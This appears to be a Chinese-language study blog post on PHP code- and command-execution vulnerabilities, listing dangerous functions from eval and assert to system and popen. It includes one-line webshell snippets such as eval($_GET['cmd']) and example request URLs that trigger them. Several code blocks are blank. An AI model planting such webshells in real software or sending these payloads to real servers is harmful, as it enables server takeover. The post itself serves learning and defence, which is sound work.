php代码执行与命令执行漏洞
学习php代码执行与命令执行漏洞,没有新姿势
常见危险函数或构造器
php代码执行相关
eval()
1 | mixed eval( string $code) |
eval()
函数把字符串按照php代码来计算,常见的一句话木马:
1 | eval($_GET['cmd']); |
访问:
1 | http://xxx.com/test.php?cmd=phpinfo(); |
得到phpinfo()页面。
assert()
php5:
1 | bool assert( mixed $assertion[, string $description] ) |
php7:
1 | bool assert( mixed $assertion[, Throwable $exception] ) |
assert() 会检查指定的 assertion
并在结果为 FALSE 时采取适当的行动。
如果 assertion
是字符串,它将会被 assert() 当做 PHP 代码来执行。
普通调用:
1 | 'cmd']); assert($_GET[ |
访问:
1 | http://xxx.com/test.php?cmd=phpinfo(); |
phpinfo()
后可以不用分号,得到phpinfo页面。
assert函数支持动态调用:
1 |
|
php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。
preg_replace()
1 | mixed preg_replace( mixed $pattern, mixed $replacement, mixed $subject[, int $limit = -1[, int &$count]] ) |
preg_replace()
在进行了对替换字符串的后向引用替换之后, 将替换后的字符串作为php代码评估执行(eval
函数方式),并使用执行结果作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在后向引用替换时会被用反斜线转义.
第一个参数
第二个参数
一句话木马:
1 |
|
访问:
1 | http://xxx.com/test.php?cmd=phpinfo(); |
php 7.0.0 不再支持 /e修饰符
更详细说明请参考文档:php-preg_replace
第三个参数
create_function()
1 | string create_function( string $args, string $code) |
用法:
1 | create_function('$fname','echo $fname."Zhang"') |
类似于:
1 | function fT($fname) { |
该函数的内部实现用到了eval
,所以也具有相同的安全问题
1 |
|
访问:
1 | http://xxx.com/test.php?cmd=phpinfo(); |
该函数存在缺陷,详见PHP create_function()代码注入
call_user_func()
1 | mixed call_user_func( callable $callback[, mixed $parameter[, mixed $...]] ) |
第一个参数callback
是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()
的参数不能为引用传递。
1 |
|
访问:
1 | http://xxx.com/test.php?fun=assert&exec=phpinfo() |
eval()
在这里是不能作为回调函数使用的。
在php中,可以通过is_callable
来判断一个函数是否为回调函数,比如:
1 |
|
call_user_func_array()
1 | mixed call_user_func_array( callable $callback, array $param_arr) |
把第一个参数作为回调函数(callback
)调用,把参数数组作(param_arr
)为回调函数的的参数传入。
1 |
|
访问
1 | http://xxx.com/test.php?fun=assert&exec[]=phpinfo() |
array_map()
1 | array array_map( callable $callback, array $array1[, array $...] ) |
返回数组,是为 array1
每个元素应用 callback
函数之后的数组。callback
函数形参的数量和传给 array_map() 数组数量,两者必须一样。
1 |
|
访问:
1 | http://xxx.com/test1.php?a=assert&b=phpinfo(); |
系统命令执行相关
system()
1 | string system( string $command[, int &$return_var] ) |
command是要执行的命令。return_var,如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。
passthru()
1 | void passthru( string $command[, int &$return_var] ) |
command是要执行的命令。return_var,如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数。
exec()
1 | string exec( string $command[, array &$output[, int &$return_var]] ) |
exec() 执行 command 参数所指定的命令。 其余参数,见文档
1 |
|
返回值是命令执行结果的最后一行内容。
pcntl_exec()
1 | void pcntl_exec ( string $path [, array $args [, array $envs ]] ) |
path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本
args是一个要传递给程序的参数的字符串数组。
1 |
|
shell_exec()
1 | string shell_exec ( string $cmd ) |
popen()
1 | popen ( string $command , string $mode ) : resource |
1 |
|
proc_open()
1 |
|
`(反引号)
在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出,使用反引号运算符“`”的效果与函数 shell_exec() 相同。
ob_start()
此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。
可选参数 output_callback 函数可以被指定。 此函数把一个字符串当作参数并返回一个字符串。 当输出缓冲区被( ob_flush(), ob_clean() 或者相似的函数)冲刷(送出)或者被清洗的时候;或者在请求结束之际输出缓冲区内容被冲刷到浏览器的时候该函数将会被调用。 当调用 output_callback 时,它将收到输出缓冲区的内容作为参数 并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器。
下面的代码,由于调用了ob_end_flush(),所以会调用ob_start($cmd)中的cmd,把我们输入的$_GET[a]作为cmd的参数。
1 |
|